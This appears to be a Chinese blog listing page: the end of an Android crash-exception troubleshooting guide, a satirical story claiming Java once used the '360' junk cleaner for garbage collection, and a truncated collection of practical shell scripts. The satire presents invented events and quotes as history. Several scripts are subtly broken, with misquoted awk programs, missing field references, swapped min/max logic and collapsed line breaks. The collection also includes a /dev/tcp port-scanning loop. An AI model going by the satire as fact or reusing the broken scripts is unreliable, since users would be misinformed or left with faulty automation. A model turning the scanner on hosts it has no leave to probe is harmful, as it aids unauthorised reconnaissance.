一般在强制类型转换时出现,例如如果A向B转换,而A不是B的父类时,将产生java.lang.ClassCastException异常。一般建议做这时要使用instanceof做一下类型判断,再做转换。 该案例中,需要把FrameLayout更改成RelativeLayout就可以呢 1.9 Toast运行在子线程问题,handler问题 A.详细崩溃日志信息 先来看看问题代码,会出现什么问题呢? new Thread(new Runnable() { @Override public void run() { ToastUtils.showRoundRectToast("潇湘剑雨-杨充"); } }).start(); 报错日志如下所示: 然后找找报错日志从哪里来的 子线程中吐司的正确做法,代码如下所示 new Thread(new Runnable() { @Override public void run() { Looper.prepare(); ToastUtils.showRoundRectToast("潇湘剑雨-杨充"); Looper.loop(); } }).start(); 得出的结论 Toast也可以在子线程执行,不过需要手动提供Looper环境的。 Toast在调用show方法显示的时候,内部实现是通过Handler执行的,因此自然是不阻塞Binder线程,另外,如果addView的线程不是Loop线程,执行完就结束了,当然就没机会执行后续的请求,这个是由Hanlder的构造函数保证的。可以看看handler的构造函数,如果Looper==null就会报错,而Toast对象在实例化的时候,也会为自己实例化一个Hanlder,这就是为什么说“一定要在主线程”,其实准确的说应该是 “一定要在Looper非空的线程”。 Handler的构造函数如下所示: 2.1 java.lang.ClassNotFoundException类找不到异常 A.详细崩溃日志信息 Didn't find class "om.scwang.smartrefresh.layout.SmartRefreshLayout" on path: DexPathList[[zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/base.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_dependencies_apk.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_slice_0_apk.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_slice_1_apk.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_s com.paidian.hwmc.goods.activity.GoodsDetailsActivity.onCreate(GoodsDetailsActivity.java:209) B.查看崩溃类信息 当应用程序尝试使用字符串名称加载类时引发:但无法找到具有指定名称的类的定义。从1.4版开始,已对此异常进行了修改,以符合通用的异常链接机制。在构建时提供并通过{@link#getException()}方法访问的“在加载类时引发的可选异常”现在称为原因,并且可以通过{@link Throwable#getCace()}方法以及前面提到的“遗留方法”进行访问。 public class ClassNotFoundException extends ReflectiveOperationException { private static final long serialVersionUID = 9176873029745254542L; private Throwable ex; public ClassNotFoundException() { super((Throwable)null); // Disallow initCause } public ClassNotFoundException(String s) { super(s, null); // Disallow initCause } public ClassNotFoundException(String s, Throwable ex) { super(s, null); // Disallow initCause this.ex = ex; } public Throwable getException() { return ex; } public Throwable getCause() { return ex; } } C.项目中异常分析 该异常表示在路径下,找不到指定类,通常是因为构建路径问题导致的。 D.引发崩溃日志的流程分析 F.解决办法 1.要找的Class被混淆了,存在但名字变了; 2.要找的Class未被打入Dex,确实不存在,可能是因为自己的疏忽,或编译环境的冲突; 3.要找的Class确实存在,但你的Classlorder找不到这个Class,往往因为这个Classloder是你自实现的(插件化应用中常见)。 类名是以字符串形式标识的,可信度比较低,在调用Class.forName(""),Class.findSystemClass(""),Class.loadClass("")等方法时,找不到类名时将会报错。如果找不到的Class是系统Class,那么可能是系统版本兼容,厂家Rom兼容的问题,找到对应的设备尝试重现,解决方法可以考虑更换Api,或用自己实现的Class替代。 如果找不到的Class是应用自由Class(含第三方SDK的Class),可以通过反编译工具查看对应apk中是否真的缺少该Class,再进行定位,这种往往发生在: G.其他延申 2.2 java.util.concurrent.TimeoutException连接超时崩溃 A.详细崩溃日志信息 java.util.concurrent.TimeoutException: android.view.ThreadedRenderer.finalize() timed out after 10 seconds at android.view.ThreadedRenderer.nDeleteProxy(Native Method) at android.view.ThreadedRenderer.finalize(ThreadedRenderer.java:423) B.查看崩溃类信息 当阻塞操作超时引发的异常。指定超时的阻塞操作需要一种方法来指示已发生超时。对于许多此类操作,可以返回指示超时的值;如果不可能或不需要,则应声明并抛出{@code TimeoutException}。 public class TimeoutException extends Exception { private static final long serialVersionUID = 1900926677490660714L; public TimeoutException() {} public TimeoutException(String message) { super(message); } } C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 一般是系统在gc时,调用对象的finalize超时导致,解决办法: 1.检查分析finalize的实现为什么耗时较高,修复它; 2.检查日志查看GC是否过于频繁,导致超时,减少内容开销,防止内存泄露。 G.其他延申 2.3 java.lang.NumberFormatException格式转化错误 A.详细崩溃日志信息 Exception in thread "main" java.lang.NumberFormatException: For input string: "100 " at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48) at java.lang.Integer.parseInt(Integer.java:458) at java.lang.Integer.parseInt(Integer.java:499) B.查看崩溃类信息 引发,以指示应用程序试图将字符串转换为数字类型之一,但该字符串没有适当的格式。 public class NumberFormatException extends IllegalArgumentException { static final long serialVersionUID = -2848938806368998894L; public NumberFormatException () { super(); } public NumberFormatException (String s) { super (s); } static NumberFormatException forInputString(String s) { return new NumberFormatException("For input string: \"" + s + "\""); } } C.项目中异常分析 错误关键字 java.lang.NumberFormatException 这句话明确告诉了我们是数字格式异常,接着后面有 For input string: "100 " 提示,这就告诉我们,当前想把 "100 " 转换成数字类型时出错了,这样就很确切了。 D.引发崩溃日志的流程分析 F.解决办法 解决办法很简单,改成 Integer.parseInt(str.trim()),注意将字符串转化成整数数据类型时,注意需要trim一下。 G.其他延申 2.4 java.lang.IllegalStateException: Fragment not attached to Activity A.详细崩溃日志信息 java.lang.IllegalStateException: Fragment not attached to Activity B.查看崩溃类信息 C.项目中异常分析 出现该异常,是因为Fragment的还没有Attach到Activity时,调用了如getResource()等,需要上下文Content的函数。 出现该异常,是因为Fragment还没有Attach到Activity时,调用了如getResource()等,需要上下文Context的函数。解决方法,就是等将调用的代码写在OnStart()中。 D.引发崩溃日志的流程分析 F.解决办法 将调用的代码运行在Fragment Attached的生命周期内。 第一种:在调用需要Context的函数之前,增加一个判断isAdded() if(isAdded()){//isAdded方法是Android系统提供的,只有在Fragment被添加到所属的Activity后才返回true activity.getResourses().getString(...); } 第二种:如下所示 @Override public void onAttach(Context context) { super.onAttach(context); activity = (MainActivity) context; } @Override public void onDetach() { super.onDetach(); if (activity != null) { activity = null; } } G.其他延申 发生场景:该错误经常发生在fragment的线程中执行了一个耗时操作,线程在执行完毕后会调用getResources来更新ui。如果在线程操作没有完成,就调用getActivity().recreate()重新加载activity或屏幕旋转,这时就会出现Fragment not attached to Activity的错误 2.5 ArrayIndexOutOfBoundsException 角标越界异常 A.详细崩溃日志信息 该异常表示数组越界 java.lang.ArrayIndexOutOfBoundsException: 0 at com.example.mytest.CityAdapter.setDataNotify(CityAdapter.java:183) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) B.查看崩溃类信息 引发,以指示已使用非法索引访问数组。索引不是负的,就是大于或等于数组的大小。 public class ArrayIndexOutOfBoundsException extends IndexOutOfBoundsException { private static final long serialVersionUID = -5116101128118950844L; public ArrayIndexOutOfBoundsException() { super(); } public ArrayIndexOutOfBoundsException(int index) { super("Array index out of range: " + index); } public ArrayIndexOutOfBoundsException(String s) { super(s); } public ArrayIndexOutOfBoundsException(int sourceLength, int index) { super("length=" + sourceLength + "; index=" + index); } public ArrayIndexOutOfBoundsException(int sourceLength, int offset, int count){ super("length=" + sourceLength + "; regionStart=" + offset + "; regionLength=" + count); } } C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 这种情况一般要在数组循环前做好length判断,index超出length上限和下限时都会报错。举例如下:一个数组int test[N],一共有N个元素分别是test[0]~test[N-1],如果调用test[N],将会报错。建议读取时,不要超过数组的长度(array.length)。 Android中一种常见情形就是上拉刷新中header也会作为listview的第0个位置,如果判断失误很容易造成越界。 G.其他延申 2.6 IllegalAccessException 方法中构造方法权限异常 A.详细崩溃日志信息 Unable to instantiate application com.pedaily.yc.meblurry.App: java.lang.IllegalAccessException B.查看崩溃类信息 当应用程序试图反射地创建实例(数组除外)、设置或获取字段或调用方法时,将引发IllegalAccessException,但当前执行的方法无法访问指定的类、字段、方法或构造函数的定义。 public class IllegalAccessException extends ReflectiveOperationException { private static final long serialVersionUID = 6616958222490762034L; public IllegalAccessException() { super(); } public IllegalAccessException(String s) { super(s); } } C.项目中异常分析 错误提示是,构造方法的权限不对 D.引发崩溃日志的流程分析 F.解决办法 检查了整个Application,才发现,原来有一个无参数的构造方法,被设计成private。修改其为public即可。 G.其他延申 android BroadcastReceiver遇到java.lang.IllegalAccessException解决方法,错误原因主要是app中其他地方调用了默认的构造函数,必须增加默认构造函数且访问权限为public 2.7 android.view.WindowManager$BadTokenException,dialog弹窗异常 A.详细崩溃日志信息 Unable to add window -- token android.os.BinderProxy@9a57804 is not valid; is your activity running? android.view.ViewRootImpl.setView(ViewRootImpl.java:907) B.查看崩溃类信息 在WindowManager中可以找到这个异常类,主要发生在尝试添加视图时引发的 public static class BadTokenException extends RuntimeException { public BadTokenException() { } public BadTokenException(String name) { super(name); } } C.项目中异常分析 该异常表示不能添加窗口,通常是所要依附的view已经不存在导致的。 D.引发崩溃日志的流程分析 F.解决办法 之前项目中有一个自定义弹窗,偶尔会报这个错。解决办法如下代码所示 主要逻辑是在弹窗show或者dismiss的时候,都增加了逻辑判断,判断宿主activity存在。 /** * 展示加载窗 * @param context 上下文 * @param isCancel 是否可以取消 */ public static void show(Context context, boolean isCancel) { if(context == null){ return; } if (context instanceof Activity) { if (((Activity) context).isFinishing()) { return; } } if (loadDialog != null && loadDialog.isShowing()) { return; } loadDialog = new LoadLayoutDialog(context, isCancel); loadDialog.show(); } /** * 销毁加载窗 * @param context 上下文 */ public static void dismiss(Context context) { if(context == null){ return; } try { if (context instanceof Activity) { if (((Activity) context).isFinishing()) { loadDialog = null; return; } } if (loadDialog != null && loadDialog.isShowing()) { Context loadContext = loadDialog.getContext(); if (loadContext instanceof Activity) { if (((Activity) loadContext).isFinishing()) { loadDialog = null; return; } } loadDialog.dismiss(); loadDialog = null; } } catch (Exception e) { e.printStackTrace(); loadDialog = null; } } G.其他延申 1.上一个页面没有destroy的时候,之前的Activity已经接收到了广播。如果此时之前的Activity进行UI层面的操作处理,就会造成crash。UI层面的刷新,一定要注意时机,建议使用set_result来代替广播的形式进行刷新操作,避免使用广播的方式,代码不直观且容易出错。 2.Dialog在Actitivty退出后弹出。在Dialog调用show方法进行显示时,必须要有一个Activity作为窗口的载体,如果Activity被销毁,那么导致Dialog的窗口载体找不到。建议在Dialog调用show方法之前先判断Activity是否已经被销毁。 3.Service&Application弹出对话框或WindowManager添加view时,没有设置window type为TYPE_SYSTEM_ALERT。需要在调用dialog.show()方法前添加dialog.getWindow().SetType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT)。 4.6.0的系统上, (非定制 rom 行为)若没有给予悬浮窗权限, 会弹出该问题, 可以通过Settings.canDrawOverlays来判断是否有该权限. 5.某些不稳定的MIUI系统bug引起的权限问题,系统把Toast也当成了系统级弹窗,android6.0的系统Dialog弹窗需要用户手动授权,若果app没有加入SYSTEM_ALERT_WINDOW权限就会报这个错。需要加入给app加系统Dialog弹窗权限,并动态申请权限,不满足第一条会出现没权限闪退,不满足第二条会出现没有Toast的情况。 Dialog&AlertDialog,Toast,WindowManager不能正确使用时,经常会报出该异常,原因比较多,几个常见的场景如下: H.其他建议 1.不要在非UI线程中使用对话框创建,显示和取消对话框; 2.尽量少用单独线程,出发是真正的耗时操作采用线程,线程也不要直接用Java式的匿名线程,除非是那种单纯的操作,操作完成不需要做其他事情的。 3.如果是在fragment中发起异步网络的回调中进行dialog的操作,那么在操作之前,需要判断 isAdd( ),避免fragment被回收了但是还要求dialog去dismiss 4.在Activity onDestroy中对Dialog提前进行关闭 2.8 java.lang.NoClassDefFoundError 找不到类异常 A.详细崩溃日志信息 B.查看崩溃类信息 如果Java虚拟机或ClassLoader实例试图加载类的定义(作为普通方法调用的一部分或使用新的表达式创建新实例的一部分),则抛出该类的定义。编译当前执行的类时存在搜索类定义,但无法再找到该定义。 public class NoClassDefFoundError extends LinkageError { private static final long serialVersionUID = 9095859863287012458L; public NoClassDefFoundError() { super(); } public NoClassDefFoundError(String s) { super(s); } private NoClassDefFoundError(String detailMessage, Throwable throwable) { super(detailMessage, throwable); } } C.项目中异常分析 问题的主要原因:方法数超65536限制。由于实际开发当中的需求不断变更,开源框架越来越多,大多都用第三方SDK,导致方法数很容易超出65536限制。出现错误Java.lang.NoClassDefFoundError D.引发崩溃日志的流程分析 这个错误是Android应用的方法总数限制造成的。android平台的Java虚拟机Dalvik在执行DEX格式的Java应用程序时,使用原生类型short来索引DEX文件中的方法。这意味着单个DEX文件可被引用的方法总数被限制为65536。通常APK包含一个classes.dex文件,因此Android应用的方法总数不能超过这个数量,这包括Android框架、类库和你自己开发的代码。而Android 5.0和更高版本使用名为ART的运行时,它原生支持从APK文件加载多个DEX文件。在应用安装时,它会执行预编译,扫描classes(..N).dex文件然后将其编译成单个.oat文件用于执行. 通熟的讲,就是分包。 F.解决办法 64k解决办法 G.其他延申 1.分dex包编程,如果依赖的dex包删除了指定的类,执行初始化方法时将会报错; 2.使用第三方SDK或插件化编程时,动态加载或实例化类失败将会报错; 3.系统资源紧张时,当大量class需要加载到内存的时候,处于竞争关系,部分calss竞争失败,导致加载不成功; 4.装载并初始化一个类时失败(比如静态块抛 java.lang.ExceptionInInitializerError 异常),然后再次引用此类也会提示NoClassDefFoundErr 错误; 5.手机系统版本或硬件设备不匹配(如ble设备只支持18以上SDK),程序引用的class在低版本中不存在,导致NoClassDefFoundErr 错误。 6.so文件找不到,设备平台armeabi-v7a,但是我的so库是放在armeabi中的,解决方法新建一个armeabi-v7a包,并且把armeabi的文件拷贝过来. 该异常表示找不到类定义,当JVM或者ClassLoader实例尝试装载该类的定义(这通常是一个方法调用或者new表达式创建一个实例过程的一部分)而这个类定义并没有找时所抛出的错误。 [解决方案]:NoClassDefFoundError异常一般出现在编译环境和运行环境不一致的情况下,就是说有可能在编译过后更改了Classpath或者jar包所以导致在运行的过程中JVM或者ClassLoader无法找到这个类的定义。 2.9 Android出现:Your project path contains non-ASCII characters. A.详细崩溃日志信息 B.查看崩溃类信息 C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 很好解决啦,就是你的工程项目路径或者项目名称包含了中文,修改相关的名称就好 G.其他延申 3.1 OnErrorNotImplementedException【 Can't create handler inside thread that has not called Looper.prepare()】 A.详细崩溃日志信息 Can't create handler inside thread that has not called Looper.prepare() B.查看崩溃类信息 C.项目中异常分析 D.引发崩溃日志的流程分析 这是因为Handler对象与其调用者在同一线程中,如果在Handler中设置了延时操作,则调用线程也会堵塞。每个Handler对象都会绑定一个Looper对象,每个Looper对象对应一个消息队列(MessageQueue)。如果在创建Handler时不指定与其绑定的Looper对象,系统默认会将当前线程的Looper绑定到该Handler上。 在主线程中,可以直接使用new Handler()创建Handler对象,其将自动与主线程的Looper对象绑定;在非主线程中直接这样创建Handler则会报错,因为Android系统默认情况下非主线程中没有开启Looper,而Handler对象必须绑定Looper对象。 如果在主线程中创建handler时,系统会自动创建Looper,但是在子线程中创建handler时,是不会自动创建Looper的,此时如果不手动创建Looper,系统就会崩溃 F.解决办法 不要在子线程中做UI操作,比如更改界面,吐司等等…… 方法1:需先在该线程中手动开启Looper(Looper.prepare()-->Looper.loop()),然后将其绑定到Handler对象上; final Runnable runnable = new Runnable() {   @Override   public void run() {     //执行耗时操作     try {       Log.e("bm", "runnable线程:" + Thread.currentThread().getId()+ " name:" + Thread.currentThread().getName());       Thread.sleep(2000);       Log.e("bm", "执行完耗时操作了~");     } catch (InterruptedException e) {     e.printStackTrace();     }   } }; new Thread() {   public void run() {     Looper.prepare();     new Handler().post(runnable);//在子线程中直接去new 一个handler     Looper.loop();    //这种情况下,Runnable对象是运行在子线程中的,可以进行联网操作,但是不能更新UI   } }.start(); 方法2:通过Looper.getMainLooper(),获得主线程的Looper,将其绑定到此Handler对象上。 final Runnable runnable = new Runnable() {   @Override   public void run() {     //执行耗时操作     try {       Log.e("bm", "runnable线程: " + Thread.currentThread().getId()+ " name:" + Thread.currentThread().getName());       Thread.sleep(2000);       Log.e("bm", "执行完耗时操作了~");     } catch (InterruptedException e) {     e.printStackTrace();     }   } }; new Thread() {   public void run() {    //在子线程中直接去new 一个handler     new Handler(Looper.getMainLooper()).post(runnable);     //这种情况下,Runnable对象是运行在主线程中的,不可以进行联网操作,但是可以更新UI   } }.start(); 3.2 platform-tools\adb.exe,start-server' failed -- run manually if necessary A.详细崩溃日志信息 B.查看崩溃类信息 C.项目中异常分析 adb启动失败,端口被占用 D.引发崩溃日志的流程分析 F.解决办法 百度google大家多说的是任务管理器 kill掉adb 或者重启adb server,但我任务管理器就没有adb ,猜测是某个程序占用了adb端口。于是按此思路查找。 5037为adb默认端口 查看该端口情况如下: netstat -aon|findstr "5037" TCP 127.0.0.1:5037 0.0.0.0:0 LISTENING 6540 发现6540占用了 5037端口,继续查看6540的task,发现是wandoujia .如下所示 tasklist|findstr "6540" wandoujia_daemon.exe 6540 Console 1 4,276 K 接下来问题就好解决了,在任务管理器kill掉wandoujia_daemon.exe ,运行android程序,ok . 1.关闭xx荚进程 2.adb kill-server 3.adb start-server 未完待续....希望对大家有帮助.......

    2021-04-21 597
  • Java 为什么不采用 360 垃圾清理来进行垃圾回收呢?

    作为早期 Java 的开发者之一,我们团队当初确实尝试过使用 360 垃圾清理来对 Java 进行垃圾回收。 早些年,我们曾发布了使用 360 垃圾回收的 Java 试用版本,部分用户使用了这个版本之后,又成功地回到单身贵族家庭。为了对他们的付出表示感谢,我们邀请了这批用户来参观我们的 Java 炸鱼实验室。由于省去不必要的恋爱、婚姻花销,这批用户有更多的时间加班了。 我们当时收到了几百家公司的负责人的感谢信,他们在向我们表示感谢时说到,他们的员工现在有更多的时间专心工作了,当然公司的工时制度也进行了及时的跟进与创新,其中比较有名的几种工时制度,有大小周、超级大小周、996、007,这些新的工时制度真是人类工作史上的伟大创新。其中一位华氏集团的负责人的欣喜地告诉我们的商务,现在他们的员工们都斗志昂扬,积极为公司添砖加瓦、发光发热,原来好几天的工作任务,现在一两天就能完成了,因此公司短期内也取得了巨大的营收。同时,求职市场上,从这类公司离职的员工和管理层也特别受欢迎:一位叫张小方的普通员工,由于这段工作经历,让刚毕业两年的他具有三年多的工作经验,薪资也因此上涨了 0.5 倍;另一位某黄姓高管,受到前公司的工时制度的启发,回国后创立榨斗斗公司,全公司开启超级硬核奋斗模式,三年里成功将公司做到上市。 然而,另一方面,国际健康组织、国际卫生组织、国际人权组织等国际组织对我们在 Java 中使用 360 的垃圾回收这一做法表示遗憾。一位来自中国的周大树曾公开地发表了一篇谴责性文章,文章谴责了这些开启硬核奋斗模式的公司,同时谴责我们是始作俑者。他发表在《劳动者之歌》上的文章将这些试用了带 360 垃圾回收功能的员工比作野草,他说:野草,根本不深,花叶不美,然而吸取露,吸取水,吸取陈死人的血和肉,当它生存时,还要遭删刈,还要遭践踏。 最终事态发展到我们无法控制的程度了,这并不是我们 Java 开发团队所期望的。由于 360 垃圾回收具有庞大的用户群体,我们在 Java 直接采用,虽然可以降低部分 Java 新用户的学习成本,但这一事件影响范围也比较广泛。那么为啥在 Java 中使用 360 的垃圾回收会导致单身员工数量大幅度地增多呢?我们起初对这一现象也觉得不可思议,后来我们成立了专门的调查组,感谢调查组同事的辛勤工作,最终我们找到了真相: 众所周知,360 垃圾清理,顾名思义,一年中只能工作 360 天,有 5 天是不能工作的,而我们都知道 Java 虚拟机每天都会产生垃圾,这显然是不能满足要求的。Java 一般都用于大型服务器后端服务开发,其访问量都是非常巨大的,如果一年 5 天不能工作,那么可靠性只能达到 98.9%,这是远远不够的。而且不算闰年,闰年不能工作的时间将由 5 天变成 6 天,这对于使用 Java 作为开发语言的互联网公司是无法接受的。 大多数年轻人,在大学毕业之后就离开了家乡,去城市打拼,然后认识了另外一半。用他们当中比较流行的一句话来解释一下这种现象——“故乡再无春夏秋”,因此他们一般只有在冬天,也就是年底的最后几天才有时间回一趟家乡,于是和丈母娘见面、谈婚论嫁的日子理所当然地被安排在这几天。 试想,你和你的女友约好年底最后几天去见丈母娘,并在见面后将彩礼转到丈母娘的卡上。 但是由于年底的最后几天支付宝和相关的银行服务器采用了 Java,而 Java 采用了 360 进行垃圾回收,最终由于你无法完成彩礼转账,导致丈母娘拒绝将女儿嫁给你。 你最终: 老婆 -1 这是大多数人无法接受的,由于不少未婚青年都是在年底回去和丈母娘谈判的,所以最终: 未婚青年们: 老婆s - 10086 这样社会上光棍就多了,社会上光棍多了就不利于社会的稳定,所以最终有关部门会介入了调查。调查后最终定位到问题的原因是使用 360 垃圾回收的 Java 无法在年底的 5 天或者 6 天工作。 当然,我们也尝试和 360 团队进行沟通,360 团队拒绝为一年剩下的五天提供服务,他们解释说,这样会导致他们的同事需要加班,他们不希望社会上已经形成的 996、007 等不良风气蔓延到他们公司。 因此,我们最终没有在 Java 中使用 360 的垃圾回收,并忍痛下掉了使用 360 垃圾回收的 Java 版本。 Java 团队和 360 团队都是伟大的团队,他们在垃圾回收中做的工作不分伯仲,都值得我们尊敬。 ...

    2021-04-21 568
  • 23 个非常实用的 Shell 拿来就用脚本实例

    为大家整理了23个实例,通过23个实战经典脚本实例,展示了shell脚本编程的实用技术和常见工具用法。大家只需根据自己的需求,将文中这些常见任务和可移植自动化脚本推广应用到其他类似问题上,能解决那些三天两头碰上的麻烦事。 检测两台服务器指定目录下的文件一致性 #!/bin/bash ##################################### #检测两台服务器指定目录下的文件一致性 ##################################### #通过对比两台服务器上文件的md5值,达到检测一致性的目的 dir=/data/web b_ip=192.168.88.10 #将指定目录下的文件全部遍历出来并作为md5sum命令的参数,进而得到所有文件的md5值,并写入到指定文件中 find $dir -type f|xargs md5sum > /tmp/md5_a.txt ssh $b_ip "find $dir -type f|xargs md5sum > /tmp/md5_b.txt" scp $b_ip:/tmp/md5_b.txt /tmp #将文件名作为遍历对象进行一一比对 for f in `awk '{print 2} /tmp/md5_a.txt'` do #以a机器为标准,当b机器不存在遍历对象中的文件时直接输出不存在的结果 if grep -qw "$f" /tmp/md5_b.txt then md5_a=`grep -w "$f" /tmp/md5_a.txt|awk '{print 1}'` md5_b=`grep -w "$f" /tmp/md5_b.txt|awk '{print 1}'` #当文件存在时,如果md5值不一致则输出文件改变的结果 if [ $md5_a != $md5_b ] then echo "$f changed." fi else echo "$f deleted." fi done 定时清空文件内容,定时记录文件大小 #!/bin/bash ################################################################ #每小时执行一次脚本(任务计划),当时间为0点或12点时,将目标目录下的所有文件内 #容清空,但不删除文件,其他时间则只统计各个文件的大小,一个文件一行,输出到以时#间和日期命名的文件中,需要考虑目标目录下二级、三级等子目录的文件 ################################################################ logfile=/tmp/`date +%H-%F`.log n=`date +%H` if [ $n -eq 00 ] || [ $n -eq 12 ] then #通过for循环,以find命令作为遍历条件,将目标目录下的所有文件进行遍历并做相应操作 for i in `find /data/log/ -type f` do true > $i done else for i in `find /data/log/ -type f` do du -sh $i >> $logfile done fi 检测网卡流量,并按规定格式记录在日志中 #!/bin/bash ####################################################### #检测网卡流量,并按规定格式记录在日志中 #规定一分钟记录一次 #日志格式如下所示: #2019-08-12 20:40 #ens33 input: 1234bps #ens33 output: 1235bps ######################################################3 while : do #设置语言为英文,保障输出结果是英文,否则会出现bug LANG=en logfile=/tmp/`date +%d`.log #将下面执行的命令结果输出重定向到logfile日志中 exec >> $logfile date +"%F %H:%M" #sar命令统计的流量单位为kb/s,日志格式为bps,因此要*1000*8 sar -n DEV 1 59|grep Average|grep ens33|awk '{print $2,"\t","input:","\t",$5*1000*8,"bps","\n",$2,"\t","output:","\t",$6*1000*8,"bps"}' echo "####################" #因为执行sar命令需要59秒,因此不需要sleep done 计算文档每行出现的数字个数,并计算整个文档的数字总数 #!/bin/bash ######################################################### #计算文档每行出现的数字个数,并计算整个文档的数字总数 ######################################################## #使用awk只输出文档行数(截取第一段) n=`wc -l a.txt|awk '{print $1}'` sum=0 #文档中每一行可能存在空格,因此不能直接用文档内容进行遍历 for i in `seq 1 $n` do #输出的行用变量表示时,需要用双引号 line=`sed -n "$i"p a.txt` #wc -L选项,统计最长行的长度 n_n=`echo $line|sed s'/[^0-9]//'g|wc -L` echo $n_n sum=$[$sum+$n_n] done echo "sum:$sum" 杀死所有脚本 #!/bin/bash ################################################################ #有一些脚本加入到了cron之中,存在脚本尚未运行完毕又有新任务需要执行的情况, #导致系统负载升高,因此可通过编写脚本,筛选出影响负载的进程一次性全部杀死。 ################################################################ ps aux|grep 指定进程名|grep -v grep|awk '{print $2}'|xargs kill -9 从FTP服务器下载文件 #!/bin/bash if [ $# -ne 1 ]; then     echo "Usage: $0 filename" fi dir=$(dirname $1) file=$(basename $1) ftp -n -v << EOF   # -n 自动登录 open 192.168.1.10  # ftp服务器 user admin password binary   # 设置ftp传输模式为二进制,避免MD5值不同或.tar.gz压缩包格式错误 cd $dir get "$file" EOF 连续输入5个100以内的数字,统计和、最小和最大 #!/bin/bash COUNT=1 SUM=0 MIN=0 MAX=100 while [ $COUNT -le 5 ]; do     read -p "请输入1-10个整数:" INT     if [[ ! $INT =~ ^[0-9]+$ ]]; then         echo "输入必须是整数!"         exit 1     elif [[ $INT -gt 100 ]]; then         echo "输入必须是100以内!"         exit 1     fi     SUM=$(($SUM+$INT))     [ $MIN -lt $INT ] && MIN=$INT     [ $MAX -gt $INT ] && MAX=$INT     let COUNT++ done echo "SUM: $SUM" echo "MIN: $MIN" echo "MAX: $MAX" 用户猜数字 #!/bin/bash  # 脚本生成一个 100 以内的随机数,提示用户猜数字,根据用户的输入,提示用户猜对了,# 猜小了或猜大了,直至用户猜对脚本结束。# RANDOM 为系统自带的系统变量,值为 0‐32767的随机数# 使用取余算法将随机数变为 1‐100 的随机数num=$[RANDOM%100+1]echo "$num" # 使用 read 提示用户猜数字# 使用 if 判断用户猜数字的大小关系:‐eq(等于),‐ne(不等于),‐gt(大于),‐ge(大于等于),# ‐lt(小于),‐le(小于等于)while :do     read -p "计算机生成了一个 1‐100 的随机数,你猜: " cai    if [ $cai -eq $num ]    then        echo "恭喜,猜对了"           exit        elif [ $cai -gt $num ]        then            echo "Oops,猜大了"         else            echo "Oops,猜小了"     fidone 监测Nginx访问日志502情况,并做相应动作 假设服务器环境为lnmp,近期访问经常出现502现象,且502错误在重启php-fpm服务后消失,因此需要编写监控脚本,一旦出现502,则自动重启php-fpm服务。 #场景: #1.访问日志文件的路径:/data/log/access.log #2.脚本死循环,每10秒检测一次,10秒的日志条数为300条,出现502的比例不低于10%(30条)则需要重启php-fpm服务 #3.重启命令为:/etc/init.d/php-fpm restart #!/bin/bash ########################################################### #监测Nginx访问日志502情况,并做相应动作 ########################################################### log=/data/log/access.log N=30 #设定阈值 while : do  #查看访问日志的最新300条,并统计502的次数     err=`tail -n 300 $log |grep -c '502" '`  if [ $err -ge $N ]  then  /etc/init.d/php-fpm restart 2> /dev/null  #设定60s延迟防止脚本bug导致无限重启php-fpm服务      sleep 60  fi  sleep 10 done 将结果分别赋值给变量 应用场景:希望将执行结果或者位置参数赋值给变量,以便后续使用。 方法1: for i in $(echo "4 5 6"); do    eval a$i=$i done echo $a4 $a5 $a6 方法2:将位置参数192.168.1.1{1,2}拆分为到每个变量 num=0 for i in $(eval echo $*);do   #eval将{1,2}分解为1 2    let num+=1    eval node${num}="$i" done echo $node1 $node2 $node3 # bash a.sh 192.168.1.1{1,2} 192.168.1.11 192.168.1.12 方法3: arr=(4 5 6) INDEX1=$(echo ${arr[0]}) INDEX2=$(echo ${arr[1]}) INDEX3=$(echo ${arr[2]}) 批量修改文件名 示例: # touch article_{1..3}.html # ls article_1.html  article_2.html  article_3.html 目的:把article改为bbs 方法1: for file in $(ls *html); do     mv $file bbs_${file#*_}     # mv $file $(echo $file |sed -r 's/.*(_.*)/bbs\1/')     # mv $file $(echo $file |echo bbs_$(cut -d_ -f2) done 方法2: for file in $(find . -maxdepth 1 -name "*html"); do      mv $file bbs_${file#*_} done 方法3: # rename article bbs *.html 把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 1)准备测试文件,文件名为2.txt 第1行1234567不包含字母 第2行56789BBBBBB 第3行67890CCCCCCCC 第4行78asdfDDDDDDDDD 第5行123456EEEEEEEE 第6行1234567ASDF 第7行56789ASDF 第8行67890ASDF 第9行78asdfADSF 第10行123456AAAA 第11行67890ASDF 第12行78asdfADSF 第13行123456AAAA 2)脚本如下: #!/bin/bash ############################################################## #把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 ############################################################## sed -n '1,5'p 2.txt |sed '/[a-zA-Z]/'d sed -n '6,10'p 2.txt |sed s'/[a-zA-Z]//'g sed -n '11,$'p 2.txt #最终结果只是在屏幕上打印结果,如果想直接更改文件,可将输出结果写入临时文件中,再替换2.txt或者使用-i选项 统计当前目录中以.html结尾的文件总大 方法1: # find . -name "*.html" -exec du -k {} \; |awk '{sum+=$1}END{print sum}' 方法2: for size in $(ls -l *.html |awk '{print $5}'); do     sum=$(($sum+$size)) done echo $sum 扫描主机端口状态 #!/bin/bash HOST=$1 PORT="22 25 80 8080" for PORT in $PORT; do     if echo &>/dev/null > /dev/tcp/$HOST/$PORT; then         echo "$PORT open"     else         echo "$PORT close"     fi done 用shell打印示例语句中字母数小于6的单词 #示例语句: #Bash also interprets a number of multi-character options. #!/bin/bash ############################################################## #shell打印示例语句中字母数小于6的单词 ############################################################## for s in Bash also interprets a number of multi-character options. do  n=`echo $s|wc -c`  if [ $n -lt 6 ]  then  echo $s  fi done 输入数字运行相应命令 #!/bin/bash ############################################################## #输入数字运行相应命令 ############################################################## echo "*cmd menu* 1-date 2-ls 